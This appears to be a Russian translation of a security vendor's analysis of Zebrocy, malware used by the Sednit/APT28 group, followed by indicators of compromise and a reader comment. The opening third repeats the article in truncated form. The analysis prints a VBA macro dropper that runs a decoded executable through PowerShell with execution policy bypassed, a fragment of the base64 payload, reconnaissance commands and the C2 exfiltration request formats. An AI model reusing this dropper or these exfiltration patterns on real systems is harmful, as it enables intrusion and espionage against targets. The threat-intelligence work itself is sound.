Sednit, также известные как APT28, Fancy Bear, Sofacy или STRONTIUM – группа злоумышленников, работающих с 2004 года, а может и раньше, основной целью которых является кража конфиденциальной информации у избранных объектов.
![](https://habrastorage.org/webt/er/8t/oz/er8tozdq9qpprygi7g3zrfy6i2a.jpeg)
Примерно с конца 2015 года мы наблюдаем развертывание этой группой нового компонента – Zebrocy, загрузчика для Xagent (главного бэкдора Sednit). Лаборатория Касперского впервые упоминает данный компонент в 2017 году в отчете APT trend report и недавно выпустила статью с его описанием.
Новый компонент – семейство вредоносного ПО, состоящее из загрузчиков и бэкдоров, написанных на Delphi и AutoIt. Они играют в экосистеме Sednit ту же роль, что и Seduploader, – используются в качестве вредоносного ПО первого этапа атаки.
Мы наблюдали цели Zebrocy в Азербайджане, Боснии и Герцеговине, Грузии, Египте, Зимбабве, Иране, Казахстане, Киргизии, Корее, России, Саудовской Аравии, Сербии, Таджикистане, Туркменистане, Турции, Украине, Уругвае, и Швейцарии. В числе целей – дипломаты, сотрудники посольств и министерств иностранных дел.
Семейство Zebrocy состоит из трех компонентов. В порядке развертывания: загрузчик на Delphi, загрузчик на AutoIt и бэкдор на Delphi. На рисунке 1 показаны взаимосвязи между этими компонентами.
В данном посте мы опишем это семейство и его взаимодействие с более ранним инструментом кибершпионажа Seduploader, а также различия и сходства с Downdelph.
![](https://habrastorage.org/webt/_c/py/mx/_cpymxbimeguvxkcb4c2gqmf-c4.png)
Рисунок 1. Экосистема Sednit
На рисунке 1 мы видим методы атаки и активно используемые Sednit вредоносные программы. В экосистеме Sednit наиболее часто используемая «точка входа» – вложения в письма электронной почты. Согласно недавнему посту в блоге исследователей из Palo Alto Networks, DealersChoice все еще используется. После этапа разведки на заинтересовавших злоумышленников целевых машинах происходит развертывание Xagent и Xtunnel.
Первый компонент атаки доставляется с помощью Zebrocy через email. Жертвы открывают вложения – документы Microsoft Office, либо архивы.
Используемые Sednit вредоносные документы скачивают компоненты первого этапа атаки через Visual Basic для приложений (VBA), эксплойты или даже через динамический обмен данными (DDE).
В конце 2017 года группа Sednit запустила две кампании, начав распространение двух разных вредоносных документов. Первый назывался
Рисунок 2: Вредоносный документ Zebrocy
Оба вредоносных документа содержат макрос VBA, создающий файл со случайным именем в %TEMP%. Исполняемый файл малвари расшифровывается и записывается в этот файл, который далее выполняется с помощью команды PowerShell или Scriptable Shell Objects.
Пример функции Visual Basic и зашифрованной по base64 первой фазы заражения из документа Syria – New Russia provocations.doc
В некоторых кампаниях для доставки компонентов первого этапа атаки вместо макросов в документах Office использовались архивы. Предположительно, архив распространяется во вложении по электронной почте.
Все содержимое первого этапа в семействе Zebrocy – исполняемые файлы с иконкой и именем, маскирующими их под документ (на рисунке 3) для обмана жертвы.
Рисунок 3. Первая фаза заражения Zebrocy с помощью файла с иконкой документа Word
Загрузчик на Delphi – первый этап атаки семейства Zebrocy, хотя мы наблюдали, что в некоторых кампаниях группы Sednit этап с AutoIt начинался напрямую, без загрузчика. Большинство бинарных файлов Delphi-загрузчиков используют иконки документов Office, либо некоторые другие, например, библиотеки Windows, и иногда эти образцы запакованы с помощью UPX. Цель этого этапа довольно проста – получить максимум информации с компьютера жертвы.
При запуске малвари всплывает окно с фейковым сообщением об ошибке и именем загруженного бинарного файла. Например, если имя файла
Рисунок 4. Всплывающее окно загрузчика на Delphi
На самом деле, загрузчик занят созданием файла в %TEMP% с прописанным в бинарнике именем (хотя на этом этапе файл пуст). Персистентность обеспечивается путем добавления в реестр Windows записи в
Для сбора информации малварь создает новый процесс с помощью функции Windows API CreateProcess и
Запрос HTTP POST загрузчика на Delphi
После отправки запроса командный сервер передает ПО следующего этапа в том случае, если цель оценивается злоумышленниками как интересная. Цикл с момента отправки отчета до получения файлов составляет несколько часов. Следующий этап записывается в созданный ранее файл и выполняется.
Загрузчик на AutoIt – еще одна фаза разведывательного этапа в процессе заражения компьютера жертвы. Далее с этого момента возможны два сценария: в первом загрузчик на Delphi – первая стадия, а упрощенный загрузчик на AutoIt – вторая. По другому сценарию загрузчик на AutoIt является первой стадией, имеет все функции Delphi-загрузчика и даже больше.
Когда загрузчик на AutoIt используется как первый этап, он выполняет множество разведывательных функций. Даже если у него и есть некоторые сходства с загрузчиком на Delphi, такие как механизм персистентности и всплывающее окно, он добавляет большую модульность в разведывательную фазу по сравнению с загрузчиком на Delphi. Вот неполный список его возможностей:
В зависимости от предыдущей стадии отличается имя бинарника AutoIt. Если малварь внедряется на первом этапе, оно будет похоже на имя документа. В ином случае бинарнику присваивается имя, прописанное в загрузчике на Delphi, как это показано в таблице 1.
![](https://habrastorage.org/webt/f0/bc/lm/f0bclmxwmeirua-qcmjqafsie0q.png)
Цель этого этапа примерно такая же, как у предыдущего. Встречаются различные версии, но во всех них имеется код, выполняющий как минимум следующее:
Как и у Delphi-загрузчика, у загрузчика на AutoIt есть всплывающее окно – если он получен во вложении, то есть когда является первым этапом заражения. Всплывающее окно зависит от иконки бинарного файла. Например, загрузчик AutoIt с иконкой документа Adobe Reader сообщает жертве, что открываемый для просмотра файл PDF поврежден. Бинарный файл AutoIt с иконкой документа Word показывает окно для ввода пароля. Пароль не принимается во внимание, мы считаем, что это лишь способ отвлечь жертву от реальной вредоносной активности кода.
![](https://habrastorage.org/webt/4v/jt/wp/4vjtwpmzch49p00vkpjmacvwguo.png)
Рисунок 5. Всплывающее окно загрузчика на AutoIt
Бэкдор на Delphi – финальный этап цепочки компонентов Zebrocy. В прошлом мы наблюдали, как Zebrocy скачивает флагманский бэкдор группы Sednit (Xagent). В отличие от предыдущих компонентов, у этого есть внутренний номер версии, который, похоже, не связан с конкретной кампанией. Этот номер меняется со временем, как показано в таблице 2:
![](https://habrastorage.org/webt/kx/dl/1v/kxdl1vtisltjfmpw_ehgm2e2g1m.png)
Обратите внимание, что мы могли пропустить какие-то версии бэкдора. Кроме того, версии перекрывают друг друга – более старые используются одновременно с новыми.
Далее мы опишем некоторые различия, которые увидели в процессе эволюции данного вредоносного ПО. В бэкдор встроен блок конфигурации. Значения конфигурации меняются от образца к образцу, но список конфигурируемых элементов остается неизменным. Однако способ хранения данных конфигурации малвари со временем эволюционировал.
Первые версии бэкдора содержали данные конфигурации в виде простого текста, как показано на рисунке 6.
![](https://habrastorage.org/webt/s9/o-/k0/s9o-k0zfh0i9mbnyhkyb8grcee4.png)
Рисунок 6. Данные конфигурации бэкдора на Delphi в виде простого текста
Затем в более поздних версиях авторы закодировали конфигурацию в виде шестнадцатеричных строк, как на рисунке 7.
Рисунок 7. Зашифрованная информация о конфигурации бэкдора на Delphi
В последних версиях информация о конфигурации зашифрована в ресурсах по алгоритму AES. Старшие версии хранятся в разделе .text.
Данные конфигурации содержат:
После настройки малварь выполняет функцию обратного вызова с помощью функции SetTimer Windows API. Обратные вызовы позволяют оператору малвари воспользоваться множеством инструментов и командами бэкдора.
Количество команд, которые может выполнять бэкдор, а их около 30, отличается от версии к версии.
Для связи с командным сервером бэкдор сохраняет отчет по этим функциям во временный файл. Затем он производит чтение содержимого временного файла и пересылает их. Временные файлы хранятся в одной из скрытых директорий, созданных в процессе установки.
Запрос POST бэкдора на Delphi
Содержимое
Например,
Второй ключ AES в данных конфигурации применяется для расшифровки ответов командного сервера.
Как и Seduploader, этот бэкдор используется для развертывания Xagent на машинах тех жертв, которые заинтересовали операторов после фазы разведки.
Написание компонента на Delphi не является чем-то новым для группы Sednit, они уже использовали этот язык для Downdelph. Однако, даже если последний компонент не имеет с Downdelph ничего общего, есть интересные моменты, заслуживающие упоминания:
Можно предположить, что группа Sednit свернула один компонент и начала разработку нового. Единственное, что не меняется у группы – характерные ошибки:
Массив байтов, используемый бэкдором на Delphi в качестве ключей AES-256, содержит 38 байтов вместо 32. Похоже на ошибку, сделанную по невнимательности.
В последние два года мы наблюдали активное использование Zebrocy группой Sednit. Наш анализ новых версий, появляющихся регулярно с 2017 года, явно указывает на то, что авторы активно поддерживают и совершенствуют Zebrocy. Можем считать, что это – один из постоянных и полнофункциональных инструментов в арсенале Sednit и потому заслуживает пристального внимания.
Вредоносные документы
![](https://habrastorage.org/webt/5v/4o/oh/5v4oohqmv-bephtrwk2iml6k21g.png)
Загрузчик на Delphi
![](https://habrastorage.org/webt/st/2d/vz/st2dvzd2sswviwkzkogmwwfx6mu.png)
Загрузчик на AutoIt
![](https://habrastorage.org/webt/r-/_h/1y/r-_h1yp-nkgzh_lgsvbjuung79s.png)
Бэкдор на Delphi
![](https://habrastorage.org/webt/tm/49/7r/tm497rklzeoqs0ms_y1jx3f_b94.png)
Адреса URL
![](https://habrastorage.org/webt/er/8t/oz/er8tozdq9qpprygi7g3zrfy6i2a.jpeg)
Примерно с конца 2015 года мы наблюдаем развертывание этой группой нового компонента – Zebrocy, загрузчика для Xagent (главного бэкдора Sednit). Лаборатория Касперского впервые упоминает данный компонент в 2017 году в отчете APT trend report и недавно выпустила статью с его описанием.
Новый компонент – семейство вредоносного ПО, состоящее из загрузчиков и бэкдоров, написанных на Delphi и AutoIt. Они играют в экосистеме Sednit ту же роль, что и Seduploader, – используются в качестве вредоносного ПО первого этапа атаки.
Мы наблюдали цели Zebrocy в Азербайджане, Боснии и Герцеговине, Грузии, Египте, Зимбабве, Иране, Казахстане, Киргизии, Корее, России, Саудовской Аравии, Сербии, Таджикистане, Туркменистане, Турции, Украине, Уругвае, и Швейцарии. В числе целей – дипломаты, сотрудники посольств и министерств иностранных дел.
Семейство Zebrocy состоит из трех компонентов. В порядке развертывания: загрузчик на Delphi, загрузчик на AutoIt и бэкдор на Delphi. На рисунке 1 показаны взаимосвязи между этими компонентами.
В данном посте мы опишем это семейство и его взаимодействие с более ранним инструментом кибершпионажа Seduploader, а также различия и сходства с Downdelph.
![](https://habrastorage.org/webt/_c/py/mx/_cpymxbimeguvxkcb4c2gqmf-c4.png)
Рисунок 1. Экосистема Sednit
На рисунке 1 мы видим методы атаки и активно используемые Sednit вредоносные программы. В экосистеме Sednit наиболее часто используемая «точка входа» – вложения в письма электронной почты. Согласно недавнему посту в блоге исследователей из Palo Alto Networks, DealersChoice все еще используется. После этапа разведки на заинтересовавших злоумышленников целевых машинах происходит развертывание Xagent и Xtunnel.
Методы атаки
Первый компонент атаки доставляется с помощью Zebrocy через email. Жертвы открывают вложения – документы Microsoft Office, либо архивы.
Вредоносные документы
Используемые Sednit вредоносные документы скачивают компоненты первого этапа атаки через Visual Basic для приложений (VBA), эксплойты или даже через динамический обмен данными (DDE).
В конце 2017 года группа Sednit запустила две кампании, начав распространение двух разных вредоносных документов. Первый назывался
Syria – New Russia provocations.doc
, второй – Note Letter Mary Christmas Card.doc
.![](https://habrastorage.org/webt/zz/r0/cy/zzr0cyupbuw9gky4fhsbn5oplf4.png)
Рисунок 2: Вредоносный документ Zebrocy
Оба вредоносных документа содержат макрос VBA, создающий файл со случайным именем в %TEMP%. Исполняемый файл малвари расшифровывается и записывается в этот файл, который далее выполняется с помощью команды PowerShell или Scriptable Shell Objects.
[...]
Sub AutoClose()
On Error Resume Next
vAdd = ""
For I = 1 To 8
vAdd = vAdd + Chr(97 + Rnd(20) * 25)
Next
vFileName = Environ("temp") & "\" + vAdd & ".e" + "x" & "e"
SaveNew vFileName, UserForm1.Label1.Caption
Application.Run "XYZ", vFileName, "WScript.Shell"
End Sub
Public Function XYZ(vF, vW)
vStr = "powershell.exe -nop -Exec Bypass -Command Start-Process '" + vF + "';"
Call CreateObject(vW).Run(vStr, 0)
End Function
[...]
TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2lu
[...]
Пример функции Visual Basic и зашифрованной по base64 первой фазы заражения из документа Syria – New Russia provocations.doc
Архивы
В некоторых кампаниях для доставки компонентов первого этапа атаки вместо макросов в документах Office использовались архивы. Предположительно, архив распространяется во вложении по электронной почте.
Все содержимое первого этапа в семействе Zebrocy – исполняемые файлы с иконкой и именем, маскирующими их под документ (на рисунке 3) для обмана жертвы.
![](https://habrastorage.org/webt/ob/xx/kk/obxxkk8r8aulmazib0jt_qqoke8.png)
Рисунок 3. Первая фаза заражения Zebrocy с помощью файла с иконкой документа Word
Загрузчик на Delphi
Загрузчик на Delphi – первый этап атаки семейства Zebrocy, хотя мы наблюдали, что в некоторых кампаниях группы Sednit этап с AutoIt начинался напрямую, без загрузчика. Большинство бинарных файлов Delphi-загрузчиков используют иконки документов Office, либо некоторые другие, например, библиотеки Windows, и иногда эти образцы запакованы с помощью UPX. Цель этого этапа довольно проста – получить максимум информации с компьютера жертвы.
При запуске малвари всплывает окно с фейковым сообщением об ошибке и именем загруженного бинарного файла. Например, если имя файла
srsiymyw.exe
, во всплывающем окне появится имя srsiymyw.doc
(см. рисунок 4). Цель этого окна – отвлечь пользователя, чтобы он не подумал, что на компьютере происходит что-то необычное.![](https://habrastorage.org/webt/0c/h3/hu/0ch3hukwyqi47gw48ea6ufsksba.png)
Рисунок 4. Всплывающее окно загрузчика на Delphi
На самом деле, загрузчик занят созданием файла в %TEMP% с прописанным в бинарнике именем (хотя на этом этапе файл пуст). Персистентность обеспечивается путем добавления в реестр Windows записи в
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
с указанием пути к файлу с жестко закодированным именем.Для сбора информации малварь создает новый процесс с помощью функции Windows API CreateProcess и
с cmd.exe /c SYSTEMINFO & TASKLIST
в качестве аргумента lpCommandLine. После получения информации результат отправляется через запрос HTTP POST на командный сервер, жестко закодированный в бинарном файле. Действие повторяется до тех пор, пока в ответ не будет получено ПО для следующего этапа заражения.POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat)?fort=<SerialNumber_C> HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: xxxx
Host: <ip_address>
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
pol=MM/DD/YYYY%20HH:MM:SS%20(AM|PM)%0D%0A<DriveListing>%0D%0A%0D%0A<Path_to_the_binary>%0D%0A%0D%0A<SYSTEMINFO & TASKLIST output>
[...]
Запрос HTTP POST загрузчика на Delphi
После отправки запроса командный сервер передает ПО следующего этапа в том случае, если цель оценивается злоумышленниками как интересная. Цикл с момента отправки отчета до получения файлов составляет несколько часов. Следующий этап записывается в созданный ранее файл и выполняется.
Загрузчик на AutoIt
Загрузчик на AutoIt – еще одна фаза разведывательного этапа в процессе заражения компьютера жертвы. Далее с этого момента возможны два сценария: в первом загрузчик на Delphi – первая стадия, а упрощенный загрузчик на AutoIt – вторая. По другому сценарию загрузчик на AutoIt является первой стадией, имеет все функции Delphi-загрузчика и даже больше.
Когда загрузчик на AutoIt используется как первый этап, он выполняет множество разведывательных функций. Даже если у него и есть некоторые сходства с загрузчиком на Delphi, такие как механизм персистентности и всплывающее окно, он добавляет большую модульность в разведывательную фазу по сравнению с загрузчиком на Delphi. Вот неполный список его возможностей:
- определение режима песочницы и виртуальной среды
- получение списка установленного ПО (через HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall)
- определение версии Windows (32-bit или 64-bit)
- получение списка процессов
- получение информации о жестком диске
- скриншот
- получение различной информации о компьютере жертвы с помощью объектов WMI, что, возможно, было вдохновлено кодом из этого репозитория GitHub
В зависимости от предыдущей стадии отличается имя бинарника AutoIt. Если малварь внедряется на первом этапе, оно будет похоже на имя документа. В ином случае бинарнику присваивается имя, прописанное в загрузчике на Delphi, как это показано в таблице 1.
![](https://habrastorage.org/webt/f0/bc/lm/f0bclmxwmeirua-qcmjqafsie0q.png)
Цель этого этапа примерно такая же, как у предыдущего. Встречаются различные версии, но во всех них имеется код, выполняющий как минимум следующее:
- получение серийного номера жесткого диска C:
- применение сетевых функций
winhttp.dll
илиwinhttp.au3
- исполнение кода, переданного командным сервером
Как и у Delphi-загрузчика, у загрузчика на AutoIt есть всплывающее окно – если он получен во вложении, то есть когда является первым этапом заражения. Всплывающее окно зависит от иконки бинарного файла. Например, загрузчик AutoIt с иконкой документа Adobe Reader сообщает жертве, что открываемый для просмотра файл PDF поврежден. Бинарный файл AutoIt с иконкой документа Word показывает окно для ввода пароля. Пароль не принимается во внимание, мы считаем, что это лишь способ отвлечь жертву от реальной вредоносной активности кода.
![](https://habrastorage.org/webt/4v/jt/wp/4vjtwpmzch49p00vkpjmacvwguo.png)
Рисунок 5. Всплывающее окно загрузчика на AutoIt
Бэкдор на Delphi
Бэкдор на Delphi – финальный этап цепочки компонентов Zebrocy. В прошлом мы наблюдали, как Zebrocy скачивает флагманский бэкдор группы Sednit (Xagent). В отличие от предыдущих компонентов, у этого есть внутренний номер версии, который, похоже, не связан с конкретной кампанией. Этот номер меняется со временем, как показано в таблице 2:
![](https://habrastorage.org/webt/kx/dl/1v/kxdl1vtisltjfmpw_ehgm2e2g1m.png)
Обратите внимание, что мы могли пропустить какие-то версии бэкдора. Кроме того, версии перекрывают друг друга – более старые используются одновременно с новыми.
Далее мы опишем некоторые различия, которые увидели в процессе эволюции данного вредоносного ПО. В бэкдор встроен блок конфигурации. Значения конфигурации меняются от образца к образцу, но список конфигурируемых элементов остается неизменным. Однако способ хранения данных конфигурации малвари со временем эволюционировал.
Первые версии бэкдора содержали данные конфигурации в виде простого текста, как показано на рисунке 6.
![](https://habrastorage.org/webt/s9/o-/k0/s9o-k0zfh0i9mbnyhkyb8grcee4.png)
Рисунок 6. Данные конфигурации бэкдора на Delphi в виде простого текста
Затем в более поздних версиях авторы закодировали конфигурацию в виде шестнадцатеричных строк, как на рисунке 7.
![](https://habrastorage.org/webt/c8/ro/ko/c8rokoyqx_vppzcypztug-cts8u.png)
Рисунок 7. Зашифрованная информация о конфигурации бэкдора на Delphi
В последних версиях информация о конфигурации зашифрована в ресурсах по алгоритму AES. Старшие версии хранятся в разделе .text.
Данные конфигурации содержат:
- ключи AES для коммуникации с командным сервером
- адреса URL, различные от образца к образцу
- версия вредоносного ПО
- ключ/значение системного реестра Windows, обеспечивающие персистентность бэкдора
- путь, по которому хранятся временные файлы (%APPDATA%)
- имена скрытых директорий, создаваемых для хранения временных файлов: происходит конкатенация имени файлов директории и переменной среды (%APPDATA%)
После настройки малварь выполняет функцию обратного вызова с помощью функции SetTimer Windows API. Обратные вызовы позволяют оператору малвари воспользоваться множеством инструментов и командами бэкдора.
- снятие скриншота рабочего стола жертвы
- перехват нажатий клавиш
- получение списка дисков/сетевых ресурсов
- запись/чтение в реестр Windows
- копирование/перемещение/удаление объекта файловой системы
- исполнение файлов, либо постановка задач в запланированные
Количество команд, которые может выполнять бэкдор, а их около 30, отличается от версии к версии.
Для связи с командным сервером бэкдор сохраняет отчет по этим функциям во временный файл. Затем он производит чтение содержимого временного файла и пересылает их. Временные файлы хранятся в одной из скрытых директорий, созданных в процессе установки.
POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat). HTTP/1.0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------<mmddyyhhnnsszzz>
Content-Length: <N>
Host: <ip_address>
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
----------<mmddyyhhnnsszzz>
Content-Disposition: form-data; name="userfile"; filename="%APPDATA%\Microsoft\<directories>\<tempfilename>.tmp"
Content-Type: <tempfilename_hex_encoded>.tmp
<tempfilename content>
----------<mmddyyhhnnsszzz>--
Запрос POST бэкдора на Delphi
Содержимое
tempfilename
– вывод любой исполняемой команды. Содержимое шифруется с помощью алгоритма AES-256-ECB, используя первый ключ AES из данных конфигурации, затем результат записывается в шестнадцатеричной системе. Содержимое, передаваемое на командный сервер, отличается в зависимости от команды, но всегда содержит серийный номер жесткого диска и первые четыре байта имени компьютера.Например,
HELLO
соответствует первому пакету, отправляемому бэкдором для установки контакта с командным сервером. Как видно ниже, он содержит дату запуска задачи, внутренний номер версии бэкдора на Delphi, серийный номер HDD, имя компьютера (первые четыре байта), команду и дату, когда этот бэкдор был использован.Start: 1/4/2018 1:37:00 PM – [<vx.x>]:42424242ESET-HELLO-[2018-04-04 01-37-00]-315.TXT.
Второй ключ AES в данных конфигурации применяется для расшифровки ответов командного сервера.
Как и Seduploader, этот бэкдор используется для развертывания Xagent на машинах тех жертв, которые заинтересовали операторов после фазы разведки.
Заключение
Написание компонента на Delphi не является чем-то новым для группы Sednit, они уже использовали этот язык для Downdelph. Однако, даже если последний компонент не имеет с Downdelph ничего общего, есть интересные моменты, заслуживающие упоминания:
- методы развертывания одинаковы, оба компонента внедряются в виде вложения по электронной почте
- в последний раз мы видели Downdelph в сентябре 2015, а первый образец Zebrocy из естественной среды обитания датирован ноябрем 2015 года
- оба написаны на Delphi
Можно предположить, что группа Sednit свернула один компонент и начала разработку нового. Единственное, что не меняется у группы – характерные ошибки:
- имя запланированного задания:
Windiws
- имя функции, получающей системную информацию в загрузчике на AutoIt:
_SOFWARE()
Mary
вместоMerry
вNote Letter Mary Christmas Card.doc
Массив байтов, используемый бэкдором на Delphi в качестве ключей AES-256, содержит 38 байтов вместо 32. Похоже на ошибку, сделанную по невнимательности.
В последние два года мы наблюдали активное использование Zebrocy группой Sednit. Наш анализ новых версий, появляющихся регулярно с 2017 года, явно указывает на то, что авторы активно поддерживают и совершенствуют Zebrocy. Можем считать, что это – один из постоянных и полнофункциональных инструментов в арсенале Sednit и потому заслуживает пристального внимания.
Индикаторы компрометации (IoCs)
Вредоносные документы
![](https://habrastorage.org/webt/5v/4o/oh/5v4oohqmv-bephtrwk2iml6k21g.png)
Загрузчик на Delphi
![](https://habrastorage.org/webt/st/2d/vz/st2dvzd2sswviwkzkogmwwfx6mu.png)
Загрузчик на AutoIt
![](https://habrastorage.org/webt/r-/_h/1y/r-_h1yp-nkgzh_lgsvbjuung79s.png)
Бэкдор на Delphi
![](https://habrastorage.org/webt/tm/49/7r/tm497rklzeoqs0ms_y1jx3f_b94.png)
Адреса URL
http://142[.]0.68.2/test-update-16-8852418/temp727612430/checkUpdate89732468.php
http://142[.]0.68.2/test-update-17-8752417/temp827612480/checkUpdate79832467.php
http://185[.]25.50.93/syshelp/kd8812u/protocol.php
http://185[.]25.50.93/tech99-04/litelib1/setwsdv4.php
http://185[.]25.50.93/techicalBS391-two/supptech18i/suppid.php
http://185[.]25.51.114/get-help-software/get-app-c/error-code-lookup.php
http://185[.]25.51.164/srv_upd_dest_two/destBB/en.php
http://185[.]25.51.198/get-data/searchId/get.php
http://185[.]25.51.198/stream-upd-service-two/definition/event.php
http://185[.]77.129.152/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://188[.]241.68.121/update/dB-Release/NewBaseCheck.php
http://194[.]187.249.126/database-update-centre/check-system-version/id=18862.php
http://194[.]187.249.126/security-services-DMHA-group/info-update-version/id77820082.php
http://213[.]103.67.193/ghflYvz/vmwWIdx/realui.php
http://213[.]252.244.219/client-update-info/version-id/version333.php
http://213[.]252.244.219/cumulative-security-update/Summary/details.php
http://213[.]252.245.132/search-release/Search-Version/crmclients.php
http://213[.]252.245.132/setting-the-os-release/Support-OS-release/ApiMap.php
http://220[.]158.216.127/search-sys-update-release/base-sync/db7749sc.php
http://222[.]15.23.121/gft_piyes/ndhfkuryhs09/fdfd_iunb_hhert_ps.php
http://46[.]102.152.127/messageID/get-data/SecurityID.php
http://46[.]183.223.227/services-check-update/security-certificate-11-554/CheckNow864.php
http://80[.]255.6.5/daily-update-certifaicates52735462534234/update-15.dat
http://80[.]255.6.5/LoG-statistic8397420934809/date-update9048353094c/StaticIpUpdateLog23741033.php
http://86[.]105.18.106/apps.update/DetailsID/clientPID-118253.php
http://86[.]105.18.106/data-extract/timermodule/update-client.php
http://86[.]105.18.106/debug-info/pluginId/CLISD1934.php
http://86[.]105.18.106/ram-data/managerId/REM1234.php
http://86[.]105.18.106/versionID/Plugin0899/debug-release01119/debug-19.app
http://86[.]105.18.111/UpdateCertificate33-33725cnm^BB/CheckerNow-saMbA-99-36^11/CheckerSerface^8830-11.php
http://86[.]106.131.177/srvSettings/conf4421i/support.php
http://86[.]106.131.177/SupportA91i/syshelpA774i/viewsupp.php
http://89[.]249.65.166/clientid-and-uniqued-r2/the-differenceU/Events76.php
http://89[.]249.65.166/int-release/check-user/userid.php
http://89[.]249.65.234/guard-service/Servers-ip4/upd-release/mdb4
http://89[.]40.181.126/verification-online/service.911-19/check-verification-88291.php
http://89[.]45.67.153/grenadLibS44-two/fIndToClose12t3/sol41.php
http://89[.]45.67.153/supportfsys/t863321i/func112SerErr.php
http://93[.]113.131.117/KB7735-9927/security-serv/opt.php
http://93[.]113.131.155/Verifica-El-Lanzamiento/Ayuda-Del-Sistema/obtenerId.php
http://93[.]115.38.132/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/EspTkzmH.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/OspRkzmG.php
glowingsword
Delphi для написания вредоноса — это почерк ребят из СНГ. Может и правы те, кто считают что
fancy bear базируется в РФ. Не понятно только зачем юзать Delphi в наше время, когда для native applications более популярен C/C++.